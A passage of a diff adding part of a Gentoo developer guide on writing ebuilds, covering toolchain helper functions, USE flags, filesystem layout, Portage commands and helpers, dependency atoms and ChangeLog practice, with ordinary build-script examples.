+      <ti>Returns the name of the symbol/object inspection tool</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>tc-getRANLIB</c>
+      </ti>
+      <ti>Returns the name of the archiver indexer</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>tc-getF77</c>
+      </ti>
+      <ti>Returns the name of the fortran compiler</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>tc-getGCJ</c>
+      </ti>
+      <ti>Returns the name of the java compiler</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>tc-getBUILD_CC</c>
+      </ti>
+      <ti>Returns the name of the C compiler for build</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>tc-is-cross-compiler</c>
+      </ti>
+      <ti>A simple way to see if we're using a cross-compiler</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>gcc-fullversion</c>
+      </ti>
+      <ti>Returns the version as by $($CC -dumpversion)</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>gcc-version</c>
+      </ti>
+      <ti>Returns the version, but only the &lt;major>.&lt;minor></ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>gcc-major-version</c>
+      </ti>
+      <ti>Returns the Major version</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>gcc-minor-version</c>
+      </ti>
+      <ti>Returns the Minor version</ti>
+    </tr>
+    <tr>
+      <ti>
+        <c>gcc-micro-version</c>
+      </ti>
+      <ti>Returns the Micro version</ti>
+    </tr>
+  </table>
+
+
+</body>
+</subsection>
+
+<subsection>
+<title>Rules for writing an ebuild file</title>
+<body>
+
+<p>
+Since ebuild files are really just shell scripts, you should
+use your editor's shell-script mode for editing them.  You should use
+proper indentation, using only tab characters -- <e>no spaces</e>.  Make sure
+you set up your editor to put tab stops at 4 spaces.  Always make sure
+you use braces around your environment variables; e.g. <c>${P}</c>
+instead of just <c>$P</c>.
+</p>
+
+<p>
+Long lines are wrapped with ' \', thus:
+</p>
+
+<pre caption="Wrapping lines in ebuilds">
+./configure \
+--prefix=/usr || die "configure failed"
+</pre>
+
+<p>
+For further details, refer to <path>skel.ebuild</path> (usually 
+residing in <path>/usr/portage</path>).
+</p>
+
+<p>
+If you use Vim for ebuild/eclass editing, the default Gentoo vimrc
+file, <path>/etc/vim/vimrc</path>, already ensures that correct
+indentation and filetype settings are used for ebuild and eclass
+files. For better results, including special syntax highlighting for
+ebuild keywords, emerge app-vim/gentoo-syntax.
+</p>
+
+<p>
+On non-Gentoo systems, you can obtain similar results by using the
+following lines in your vimrc, or better yet by installing the
+gentoo-syntax scripts which can be downloaded from Gentoo mirrors.
+</p>
+
+<pre caption="Configuring vimrc for ebuild-editing">
+au BufRead,BufNewFile *.e{build,class} let is_bash=1|setfiletype sh
+au BufRead,BufNewFile *.e{build,class} set ts=4 sw=4 noexpandtab
+</pre>
+
+<p>
+If you're using Emacs, you should emerge app-emacs/gentoo-syntax
+(for GNU Emacs) or app-xemacs/gentoo-syntax (for XEmacs). These
+packages provide Emacs major modes for automatic indentation and
+syntax highlighting of ebuilds and other Gentoo specific file types.
+</p>
+
+<p>
+If you're using nano, then you're in luck!  Just edit <path>/etc/nanorc</path> 
+and uncomment the section referring to ebuild's.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>USE Variables</title>
+<body>
+
+<p>
+The purpose of USE variables is to allow you to configure Portage to globally
+and automatically enable or disable certain <e>optional build-time</e>
+features.  Here's an example.  Let's say you're a GNOME fan, and you'd like any
+ebuild that has the option of compiling-in optional GNOME support to do
+so.  In this case, you'd add <c>gnome</c> to the <c>USE</c> variable in
+<path>/etc/make.conf</path>, and then Portage will automatically add optional
+GNOME functionality to packages if it is available.  Likewise, if you don't
+want optional GNOME features to be added to your ebuilds if they are available,
+simply edit <path>/etc/make.conf</path> and make sure that <c>gnome</c> is
+<e>not</e> set in the <c>USE</c> variable.  Gentoo Linux has an almost
+overwhelming number of USE options, allowing you to have your system configured
+exactly the way you want it.
+</p>
+
+<note>
+If you unset a USE variable (for example, removing <c>gnome</c> from
+<c>USE</c>), this will only instruct Portage to disable <e>optional</e>
+build-time support for GNOME.  However, if you <c>emerge</c> an ebuild that
+<e>requires</e> GNOME, the package will obviously have GNOME support enabled, 
+as you would expect.  This also means that GNOME will be automatically 
+installed (as a dependency) if it hasn't been already.  That's why it's always 
+a good idea to do an <c>emerge --pretend</c> before doing the "real" 
+<c>emerge</c>; that way, you'll always know exactly what you're going to get!
+</note>
+
+<p>
+In your own ebuilds, you can check whether a USE variable is set by using the 
+<c>use &lt;variable&gt;</c> command.  You would normally use this command as
+follows:
+</p>
+
+<pre caption="Finding out if a USE-flag is set">
+if use X; then
+  # Commands specific to X...
+fi
+</pre>
+
+<p>
+USE variables can also be used to set dependencies. For example, you
+may only want to require a package if a certain USE variable is set.
+This is done by using the syntax <c>flag? ( mycat/mypackage )</c> in
+the <c>DEPEND</c> variable for your ebuild.  In this
+example, <c>mycat/mypackage</c> will only be required if <c>flag</c>
+is present in <c>USE</c>. It is also possible to specify what
+dependency should be used if some USE flag <e>is</e> set, and what
+dependency to use if it is <e>not</e> set: <c>flag? (
+mycat/mypackage)</c> and <c>!flag? ( othercat/otherpackage )</c>.  In
+this case, if <c>flag</c> is not set, <c>othercat/otherpackage</c> is
+used instead of <c>mycat/mypackage</c>. Make sure that your ebuilds
+use this syntax and not Bash if's.  Bash conditionals interfere with
+Portage's dependency caching, and the use of them will break your
+ebuild.
+</p>
+
+<p>
+Here's an important tip about how to use <c>USE</c>. Most of the time,
+a package will have a <c>./configure</c> script used to perform configuration
+steps. Generally, if your ebuild uses <c>./configure</c>, any optional 
+build-time functionality will be enabled or disabled by passing the appropriate
+arguments to the <c>./configure</c> command.  Here's the best way to handle 
+this:
+</p>
+
+<pre caption="Conditionals based on USE-settings">
+DEPEND="X? ( &gt;=x11-base/xfree-4.3 )
+mysql? ( &gt;=dev-db/mysql-3.23.49 )
+apache2? ( &gt;=net-www/apache-2 )
+!apache2? ( =net-www/apache-1* )"
+
+src_compile() {
+  econf \
+    $(use_enable X x11) \
+    $(use_enable mysql) 
+  emake || die "Error: emake failed!"
+}
+</pre>
+
+<p>
+This approach has a very nice result.  We don't have to worry about what the 
+default setting is for mysql or X (enable/disabled), we explicitly tell 
+<c>econf</c> what we want it to do based upon the <c>USE</c> variable.  Not to 
+mention it's quite clean in terms of readability :).
+</p>
+
+<p>
+Occasionally, ebuilds will have conflicting optional features.  Checking for 
+these conflicts and returning an error is <e>not</e> a viable solution.  
+Instead, you must favor one of the features over the others.  As to which, 
+consult upstream (what they use as typical default), or consider which option 
+provides more common functionality, or just flip a coin.
+
+One example comes from the msmtp ebuilds. The package can use either SSL
+with GnuTLS, SSL with OpenSSL, or no SSL at all. Because GnuTLS has a lot more
+features compared to OpenSSL, it is favoured:
+</p>
+
+<pre caption="Handling conflicting features">
+src_compile() {
+    local myconf
+
+    if use gnutls ; then
+        myconf="${myconf} --enable-ssl --with-ssl=gnutls"
+    elif use ssl ; then
+        myconf="${myconf} --enable-ssl --with-ssl=openssl"
+    else
+        myconf="${myconf} --disable-ssl"
+    fi
+
+    econf \
+        # Other stuff
+        ${myconf} 
+
+    emake || die "make failed"
+}
+</pre>
+
+<p>
+To view a continuously updated table of USE variables, please go
+<uri link="http://www.gentoo.org/dyn/use-index.xml">here</uri>.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>File system Locations</title>
+<subsection>
+<title>Introduction to the FHS</title>
+<body>
+
+<p>
+The file system layout standards used in Gentoo Linux closely follow the FHS,
+short for <e>File system Hierarchy Standard</e>.  A simplified
+description of the standard is given here; for a complete
+specification go to <uri>http://www.pathname.com/fhs/</uri>.
+</p>
+
+<note>
+The <path>/opt</path> hierarchy is addressed in section 3.12 of the FHS.
+Section 4.4 deals with the <path>/usr/X11R6</path> directory.  KDE and GNOME are
+not specifically addressed, and are in fact not even mentioned in the current
+version of the FHS.
+</note>
+
+</body>
+</subsection>
+<subsection>
+<title>How to fit your packages into the file system</title>
+<body>
+
+<p>
+Usually, if the package uses autoconf and automake, the 
+default installation destinations are mostly correct, with a few exceptions:
+</p>
+
+<ul>
+<li>
+If you're installing a program into <path>/bin</path>, <path>/sbin</path>,
+<path>/usr/bin</path>, or <path>/usr/sbin</path>, then the program's
+corresponding man page should be installed into the <path>/usr/share/man</path>
+tree.  This can often be accomplished by specifying a <c>./configure
+--mandir=/usr/share/man</c> in the ebuild.
+</li>
+<li>
+GNU info files should always be installed to <path>/usr/share/info</path>,
+<e>even if the info files are about X11, GNOME or KDE-specific programs or
+tools</e>.  Make a note: <path>/usr/share/info</path> is the <e>only</e>
+official location for GNU info files.  Since many <c>./configure</c> scripts
+default to installing GNU info files in <c>/usr/info</c>, it's often necessary
+to call <c>./configure</c> with the <c>--infodir=/usr/share/info</c> argument.
+</li>
+<li>
+Documentation files are installed in <path>/usr/share/doc</path>, into a
+subdirectory reflecting the name, version, and revision of the particular
+program.  This applies to all programs: GNOME, KDE, X11 and console alike.  
+However, some programs may install additional documentation and support files
+into a <path>/usr/share</path> hierarchy for their own purposes.
+</li>
+<li>
+X11-specific programs and libraries should always be installed into 
+<path>/usr</path>, not directly into <path>/usr/X11R6</path>.  We reserve the 
+<path>/usr/X11R6</path> hierarchy for the X Window System, Version 11 Release 6 
+<e>itself</e>.  This is perhaps a more to-the-letter interpretation of the FHS 
+than some other distributions have made.
+</li>
+<li>
+GNOME and KDE programs, similarly, should always be installed into 
+<path>/usr</path>.
+</li>
+</ul>
+
+<impo>
+Some distributions choose to install GNOME and KDE into <path>/opt</path>. There
+exists no standard for these desktop environments in terms of where to actually
+install their files. In the interests of simplicity and consistency, we elect to
+install all KDE and GNOME packages into the <path>/usr</path> hierarchy.
+</impo>
+
+<p>
+In general, you should have ebuilds install their files into the 
+<path>/usr</path> tree.  <e>Some</e> programs can be compiled and linked with 
+or without GNOME, KDE, and X11 libraries, which can cause confusion.  Our 
+solution is to install everything into <path>/usr</path> which avoids ambiguity 
+and needless complexity for ebuild authors.  The location in which to install 
+a program's files should <e>not</e> depend on the presence or absence of 
+specific <c>USE</c> variables.  Therefore, the ebuilds in the portage tree 
+<e>almost always</e> install into the <path>/usr</path> hierarchy exclusively.
+</p>
+
+<note>
+The <path>/opt</path> directory is reserved in Gentoo Linux for binary-only 
+packages. Examples include mozilla-bin, acroread, netscape and realplayer.  
+Packages that get installed here will usually require a 
+<path>/etc/env.d/foo</path> stub file.  This is so that paths and additional 
+variables can be included into the environment.  For more information on 
+<path>/etc/env.d</path>, please visit <uri 
+link="/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=5">this</uri>
+document.
+</note>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>The Portage scripts and utilities</title>
+<subsection>
+<title>Public scripts</title>
+<body>
+
+<p>
+These are scripts used by the system-administrator to install and remove 
+packages, and maintain the package database.
+</p>
+
+<p>
+<c>ebuild</c> is the main engine of the Portage system; it performs all major 
+tasks such as unpacking, compiling, installing, merging, and unmerging 
+packages.  It is called using the command: <c>ebuild path/to/package.ebuild
+command</c>.  The commands available are:
+</p>
+
+<table>
+<tr>
+  <th>Command</th>
+  <th>Description</th>
+  <th>Related <c>ebuild</c> Function</th>
+</tr>
+<tr>
+  <ti><c>setup</c>*</ti>
+  <ti>
+    Performs any miscellaneous commands required before the ebuild can proceed
+  </ti>
+  <ti><c>pkg_setup</c></ti>
+</tr>
+<tr>
+  <ti><c>depend</c></ti>
+  <ti>Displays the dependencies required to build the package</ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>merge</c>*</ti>
+  <ti>
+    Unpacks, compiles, installs, and merges the package into your file system
+  </ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>qmerge</c>*</ti>
+  <ti>
+    Merges the package into your file system, assuming that the unpack, 
+    compile, and install stages have already been executed
+  </ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>unpack</c>*</ti>
+  <ti>
+    Unpacks the source tarballs into the work directory
+  </ti>
+  <ti><c>src_unpack</c></ti>
+</tr>
+<tr>
+  <ti><c>compile</c>*</ti>
+  <ti>Compiles the package</ti>
+  <ti><c>src_compile</c></ti>
+</tr>
+<tr>
+  <ti><c>rpm</c></ti>
+  <ti>Creates an RPM from the package</ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>package</c></ti>
+  <ti>Creates a Gentoo <c>tbz2</c> package</ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>prerm</c>*</ti>
+  <ti>Executes the pre-removal stage of the package</ti>
+  <ti><c>pkg_prerm</c></ti>
+</tr>
+<tr>
+  <ti><c>postrm</c>*</ti>
+  <ti>Executes the post-removal stage of the package</ti>
+  <ti><c>pkg_postrm</c></ti>
+</tr>
+<tr>
+  <ti><c>preinst</c>*</ti>
+  <ti>Executes the pre-installation stage of the package</ti>
+  <ti><c>pkg_preinst</c></ti>
+</tr>
+<tr>
+  <ti><c>postinst</c>*</ti>
+  <ti>Executes the post-installation stage of the package</ti>
+  <ti><c>pkg_postinst</c></ti>
+</tr>
+<tr>
+  <ti><c>config</c></ti>
+  <ti>Sets up a default configuration once the package is merged</ti>
+  <ti><c>pkg_config</c></ti>
+</tr>
+<tr>
+  <ti><c>touch</c>*</ti>
+  <ti>Updates the mtimes for each source archive in the package</ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>clean</c>*</ti>
+  <ti>Cleans the work directory for the package</ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>fetch</c>*</ti>
+  <ti>Fetches the package source tarballs</ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>manifest</c>*</ti>
+  <ti>Creates a Manifest file for the package</ti>
+  <ti>N/A</ti>
+</tr>
+<tr>
+  <ti><c>test</c>*</ti>
+  <ti>Runs the self-test routine for the package</ti>
+  <ti><c>src_test</c></ti>
+</tr>
+<tr>
+  <ti><c>install</c>*</ti>
+  <ti>Installs the package into the image directory</ti>
+  <ti><c>src_install</c></ti>
+</tr>
+<tr>
+  <ti><c>unmerge</c></ti>
+  <ti>Unmerges the package from your file system</ti>
+  <ti>N/A</ti>
+</tr>
+</table>
+
+<note>
+Commands with an asterisk (*) are normally only used by the developer.
+</note>
+
+<p>
+<c>emerge</c> recursively merges a package and all of its dependencies into 
+your file system. This command has many options, try <c>emerge --help</c> for 
+a list of them.
+</p>
+
+<p>
+<c>env-update</c> updates the configuration files (including, but not limited 
+to <path>/etc/ld.so.conf</path> and <path>/etc/profile.env</path>) to include 
+changes made by installed packages.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Private Scripts and Commands</title>
+<body>
+
+<p>
+These are scripts you can use in your ebuild files to perform common tasks.
+</p>
+
+<p>
+For you down and dirty people, look at the scripts themselves in 
+<path>/usr/lib/portage/bin</path>.
+</p>
+
+<table>
+<tr>
+  <th>Command</th>
+  <th>Default Value</th>
+  <th>Description</th>
+  <th>Example</th>
+</tr>
+<tr>
+  <ti><c>diropts</c></ti>
+  <ti>-m0755</ti>
+  <ti>Sets the options used when running <c>dodir</c></ti>
+  <ti><c>diropts -m0750</c></ti>
+</tr>
+<tr>
+  <ti><c>dobin</c></ti>
+  <ti>N/A</ti>
+  <ti>Installs the specified binaries into <path>DESTTREE/bin</path></ti>
+  <ti><c>dobin wmacpi</c></ti>
+</tr>
+<tr>
+  <ti><c>docinto</c></ti>
+  <ti><path>""</path></ti>
+  <ti>
+    Sets the relative subdir (DOCDESTTREE) used by <c>dodoc</c> 
+  </ti>
+  <ti><c>docinto examples</c></ti>
+</tr>
+<tr>
+  <ti><c>dodir</c></ti>
+  <ti>N/A</ti>
+  <ti>Creates a directory, handling ${D} transparently</ti>
+  <ti><c>dodir /usr/lib/newpackage</c></ti>
+</tr>
+<tr>
+  <ti><c>dodoc</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installs the specified files into the package's documentation directory 
+    (<path>/usr/share/doc/${PF}/DOCDESTTREE</path>) (see <c>docinto</c>)
+  </ti>
+  <ti><c>dodoc README *.txt</c></ti>
+</tr>
+<tr>
+  <ti><c>doexe</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installs the specified files with mode <e>EXEOPTIONS</e> (see 
+    <c>exeopts</c>) into <path>PATH</path> defined by <e>EXEINTO</e> (see
+    <c>exeinto</c>).
+  </ti>
+  <ti><c>doexe ${FILESDIR}/quake3</c></ti>
+</tr>
+<tr>
+  <ti><c>dohard</c></ti>
+  <ti>N/A</ti>
+  <ti>Creates a hard link, handling ${D} transparently</ti>
+  <ti><c>dohard ls /bin/dir</c></ti>
+</tr>
+<tr>
+  <ti><c>dohtml</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installs the specified files and directories into 
+    <path>/usr/share/doc/${PF}/html</path> 
+  </ti>
+  <ti><c>dohtml -r doc/html/*</c></ti>
+</tr>
+<tr>
+  <ti><c>doinfo</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installs the specified files into /usr/share/info, then compresses them 
+    with gzip 
+  </ti>
+  <ti><c>doinfo doc/*.info</c></ti>
+</tr>
+<tr>
+  <ti><c>doins</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installs the specified files with mode <c>INSOPTIONS</c> (see 
+    <c>insopts</c>) into <path>INSDESTTREE</path> (see <c>insinto</c>)
+  </ti>
+  <ti><c>doins *.png icon.xpm</c></ti>
+</tr>
+<tr>
+  <ti><c>dolib</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installs the specified libraries into <path>DESTTREE/lib</path> with mode 
+    0644 
+  </ti>
+  <ti><c>dolib *.a *.so</c></ti>
+</tr>
+<tr>
+  <ti><c>dolib.a</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installs the specified libraries into <path>DESTTREE/lib</path> with mode 
+    0644
+  </ti>
+  <ti><c>dolib.a *.a</c></ti>
+</tr>
+<tr>
+  <ti><c>dolib.so</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installs the specified libraries into <path>DESTTREE/lib</path> with mode 
+    0755
+  </ti>
+  <ti><c>dolib.so *.so</c></ti>
+</tr>
+<tr>
+  <ti><c>doman</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installs the specified files into <path>/usr/share/man/manX</path>, 
+    according to the suffix of the file (file.1 will go into <path>man1</path>)
+  </ti>
+  <ti><c>doman *.1 *.5</c></ti>
+</tr>
+<tr>
+  <ti><c>dosbin</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installs the files into <path>DESTTREE/sbin</path>, making sure they are 
+    executable
+  </ti>
+  <ti><c>dosbin ksymoops</c></ti>
+</tr>
+<tr>
+  <ti><c>dosym</c></ti>
+  <ti>N/A</ti>
+  <ti>Creates a symlink, handles ${D} transparently</ti>
+  <ti><c>dosym gzip /bin/zcat</c></ti>
+</tr>
+<tr>
+  <ti><c>emake</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Runs make with <c>MAKEOPTS</c>. Some packages cannot be made in
+    parallel; use <c>emake -j1</c> instead. If you need to pass any
+    extra arguments to make, simply append them onto the emake
+    command. Users can set the <c>EXTRA_EMAKE</c> environment variable
+    to pass extra flags to emake.
+  </ti>
+  <ti><c>emake</c></ti>
+</tr>
+<tr>
+  <ti><c>exeinto</c></ti>
+  <ti><path>/</path></ti>
+  <ti>Sets the root (<e>EXEDESTTREE</e>) for the <c>doexe</c> command</ti>
+  <ti><c>exeinto /usr/lib/${PN}</c></ti>
+</tr>
+<tr>
+  <ti><c>exeopts</c></ti>
+  <ti>-m0755</ti>
+  <ti>Sets the options used when running <c>doexe</c></ti>
+  <ti><c>exeopts -m1770</c></ti>
+</tr>
+<tr>
+  <ti><c>fowners</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Applies the specified ownership to the specified file via the chown 
+    command, handles ${D} transparently
+  </ti>
+  <ti><c>fowners root:root /sbin/functions.sh</c></ti>
+</tr>
+<tr>
+  <ti><c>fperms</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Applies the specified permissions to the specified file via the chmod 
+    command, handles ${D} transparently
+  </ti>
+  <ti><c>fperms 700 /var/consoles</c></ti>
+</tr>
+<tr>
+  <ti><c>insinto</c></ti>
+  <ti><path>/usr</path></ti>
+  <ti>Sets the root (<e>INSDESTTREE</e>) for the <c>doins</c> command</ti>
+  <ti><c>insinto /usr/include</c></ti>
+</tr>
+<tr>
+  <ti><c>insopts</c></ti>
+  <ti>-m0644</ti>
+  <ti>Sets the options used when running <c>doins</c></ti>
+  <ti><c>insopts -m0444</c></ti>
+</tr>
+<tr>
+  <ti><c>into</c></ti>
+  <ti><path>/usr</path></ti>
+  <ti>
+    Sets the target prefix (<path>DESTTREE</path>) for all the 'do' commands 
+    (like <c>dobin</c>, <c>dolib</c>, <c>dolib.a</c>, <c>dolib.so</c>, 
+    <c>domo</c>, <c>dosbin</c>)
+  </ti>
+  <ti><c>into /</c></ti>
+</tr>
+<tr>
+  <ti><c>libopts</c></ti>
+  <ti>-m0644</ti>
+  <ti>Sets the options used when running <c>dolib</c></ti>
+  <ti><c>libopts -m0555</c></ti>
+</tr>
+<tr>
+  <ti><c>newbin</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Wrapper around <c>dobin</c> which installs the specified binary 
+    transparently renaming to the second argument
+  </ti>
+  <ti><c>newbin ${FILESDIR}/vmware.sh vmware</c></ti>
+</tr>
+<tr>
+  <ti><c>newdoc</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Wrapper around <c>dodoc</c> which installs the specified file transparently 
+    renaming to the second argument
+  </ti>
+  <ti><c>newdoc README README.opengl</c></ti>
+</tr>
+<tr>
+  <ti><c>newexe</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Wrapper around <c>doexe</c> which installs the specified file transparently 
+    renaming to the second argument
+  </ti>
+  <ti><c>newexe ${FILESDIR}/xinetd.rc xinetd</c></ti>
+</tr>
+<tr>
+  <ti><c>newins</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Wrapper around <c>doins</c> which installs the specified file transparently 
+    renaming to the second argument
+  </ti>
+  <ti><c>newins ntp.conf.example ntp.conf</c></ti>
+</tr>
+<tr>
+  <ti><c>newman</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Wrapper around <c>doman</c> which installs the specified file transparently 
+    renaming to the second argument
+  </ti>
+  <ti><c>newman xboing.man xboing.6</c></ti>
+</tr>
+<tr>
+  <ti><c>newsbin</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Wrapper around <c>dosbin</c> which installs the specified file transparently
+    renaming to the second argument
+  </ti>
+  <ti><c>newsbin strings strings-static</c></ti>
+</tr>
+<tr>
+  <ti><c>prepall</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Runs <c>prepallman</c>, <c>prepallinfo</c> and <c>prepallstrip</c>.  Also 
+    ensures all libraries in <path>/opt/*/lib</path>, <path>/lib</path>, 
+    <path>/usr/lib</path> and <path>/usr/X11R6/lib</path> are executable.  also 
+    moves any stray aclocal macros into <path>/usr/share/aclocal</path>
+  </ti>
+  <ti><c>prepall</c></ti>
+</tr>
+<tr>
+  <ti><c>prepalldocs</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Behavior has changed between Portage versions so new ebuilds should not
+    use this function.
+  </ti>
+  <ti><c>prepalldocs</c></ti>
+</tr>
+<tr>
+  <ti><c>prepallinfo</c></ti>
+  <ti>N/A</ti>
+  <ti>Recursively gzips all info files in <path>/usr/share/info</path></ti>
+  <ti><c>prepallinfo</c></ti>
+</tr>
+<tr>
+  <ti><c>prepallman</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Recursively gzips all man pages in <path>/opt/*/man/*</path>, 
+    <path>/usr/share/man/*</path>, <path>/usr/local/man/*</path>, 
+    <path>/usr/X11R6/share/man/*</path> and transparently fixes up any symlink 
+    paths
+  </ti>
+  <ti><c>prepallman</c></ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Package Dependencies</title>
+<subsection>
+<title>Why dependencies are important</title>
+<body>
+
+<p>
+Portage is more than just a convenience script that gives you a unified
+way to build any one project (program, library) from source.  It will also
+fetch and install any necessary dependencies if you take care to specify
+these in your ebuild.
+</p>
+
+<p>
+In the official ebuilds, all dependencies have already been specified,
+so when you issue <c>emerge net-www/mozilla/mozilla-1.0</c>, Portage will
+insure that all libraries necessary for Mozilla to build and run are
+properly installed before Mozilla itself is built.
+</p>
+
+<p>
+Portage even distinguishes between build-time dependencies and run-time
+dependencies. (Caveat: Currently, Portage installs all build-time and run-time
+dependencies and leaves it at that. At a later stage, it will be possible to
+trim your installation so that only the run-time dependencies are left 
+installed).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>How to Specify Dependencies in Your ebuild Files (a.k.a. DEPEND Atoms)</title>
+<body>
+
+<p>
+The <c>DEPEND</c> variable inside your <path>foo-x.y.z.ebuild</path> tells 
+Portage about which packages are needed to build <path>foo</path>.  The 
+<c>RDEPEND</c> variable specifies which packages are needed for <path>foo</path>
+to run. <c>RDEPEND</c> should be set explicitly even if it's the same as DEPEND because
+in the future it defaulting to DEPEND is planned to be removed from Portage.
+</p>
+
+<pre caption="Depend example">
+DEPEND="virtual/opengl
+	dev-libs/libxml2"
+RDEPEND="${DEPEND}"
+</pre>
+
+<p>
+This tells Portage that to build <path>foo-x.y.z</path>, the packages
+<path>virtual/opengl</path> (more on  virtuals in a bit) and 
+<path>dev-libs/libxml2</path> are needed.  It does not say anything about which 
+version of opengl or libxml2 that are needed, which means "anything goes".
+</p>
+
+<p>
+The "anything goes" is of course a bit scary, and will not work in the general 
+case. But for libraries, which strive very hard to be 100% 
+binary compatible all the time, it actually works. For other libraries, we can 
+of course specify version dependencies.
+</p>
+
+<pre caption="Version example">
+&gt;=sys-apps/bar-1.2
+=sys-apps/baz-1.0
+</pre>
+
+<p>
+&gt;= and = do what you would expect; sys-apps/bar version 1.2 or newer is okay
+(this means that sys-apps/bar-2.0 is okay), while sys-apps/baz version 1.0 is 
+the only version that is accepted. For more information on the version schema of
+packages, see the section above on <uri link="#doc_chap2_sect2">Naming ebuild 
+Files</uri>. 
+</p>
+
+<p>
+Other methods of specifying version dependencies are as follows:
+</p>
+
+<pre caption="Specifying version dependencies">
+~sys-apps/qux-1.0
+=sys-apps/foo-1.2*
+!sys-libs/gdbm
+</pre>
+
+<p>
+~sys-apps/qux-1.0 will select the newest portage revision of qux-1.0.
+</p>
+
+<p>
+=sys-apps/foo-1.2* will select the newest member of the 1.2 series, but will 
+ignore 1.3 and later/earlier series.  That is, foo-1.2.3 and foo-1.2.0 are both
+valid, while foo-1.3.3, foo-1.3.0, and foo-1.1.0 are not.  Please note
+that foo-1.22.3 will also match, which can become a problem at times.
+</p>
+
+<p>
+!sys-libs/gdbm will prevent this package from being emerged while gdbm is 
+already emerged.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Important Notes</title>
+<body>
+
+<p>
+There are many things that go wrong with the DEPEND and RDEPEND
+variables. Here are some important points to follow when you write the
+dependencies.
+</p>
+
+<ul>
+  <li>
+    <e>Always include the CATEGORY.</e><br />
+    For example, use <c>&gt;=x11-libs/gtk+-2</c> and not <c>&gt;=gtk+-2</c>.
+  </li>
+  <li>
+    <e>Do not put an asterisk (*) for &gt;= dependencies.</e><br />
+    For example, it should be <c>&gt;=x11-libs/gtk+-2</c> rather than
+    <c>&gt;=x11-libs/gtk+-2*</c>.
+  </li>
+  <li>
+    <e>Never depend on a meta-package.</e><br />
+    So don't depend on gnome-base/gnome, always depend on the specific
+    libraries like libgnome.
+  </li>
+  <li>
+    <e>One dependency per line.</e><br />
+    Don't put multiple dependencies on the same line. It makes it ugly to read
+    and hard to follow.
+  </li>
+  <li><e>GTK: Always use =x11-libs/gtk+-1.2* for GTK+1 apps.</e></li>
+</ul>
+
+<p>
+Additionally, it is important to ensure that all the dependencies are
+complete for your package:
+</p>
+
+<ul>
+  <li>
+    <e>Look at installed binaries/libraries</e><br />
+	Use a tool like scanelf -n to list DT_NEEDED entries.
+  </li>
+  <li>
+    <e>Look in configure.in or configure.ac</e><br />
+    Look for checks for packages in here. Things to look out for are pkg-config
+    checks or AM_* functions that check for a specific version.
+  </li>
+  <li>
+    <e>Look at included .spec files</e><br />
+    A good indication of dependencies is to look at the included .spec files
+    for relevant deps. However, do not trust them to be the definitive complete
+    list of dependencies.
+  </li>
+  <li>
+    <e>Look at the application/library website</e><br />
+    Check the application website for possible dependencies that they suggest
+    are needed.
+  </li>
+  <li>
+    <e>Read the README and INSTALL for the package</e><br />
+    They usually also contain useful information about building and installing
+    packages.
+  </li>
+  <li>
+    <e>Remember non-binary dependencies such as pkg-config, doc generation
+    programs, etc.</e><br />
+    Usually the build process requires some dependencies such as intltool,
+    libtool, pkg-config, doxygen, scrollkeeper, gtk-doc, etc. Make sure those
+    are clearly stated.
+  </li>
+</ul>
+
+<p>
+For all the latest details about these DEPEND Atoms, please see the section 5 
+manpage on ebuilds: <c>man 5 ebuild</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Testing and deploying</title>
+<subsection>
+<title>ChangeLog</title>
+<body>
+
+<p>
+Whenever you update (or write a new) an ebuild, you must also update its (or
+create a new) ChangeLog.  The <path>skel.ChangeLog</path> contains a sample
+ChangeLog that you can use as a basis.
+</p>
+
+<p>
+The purpose of the ChangeLog is to document <e>what</e> is being done, 
+<e>why</e> it is being done, and by <e>whom</e>.  This allows both 
+developers and users to trace the changes made in an easy way.
+</p>
+
+<p>
+The ChangeLog is primarily targeted at users, so be sure to keep your
+writing short, to the point, and avoid getting verbose about the internal
+technical details.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
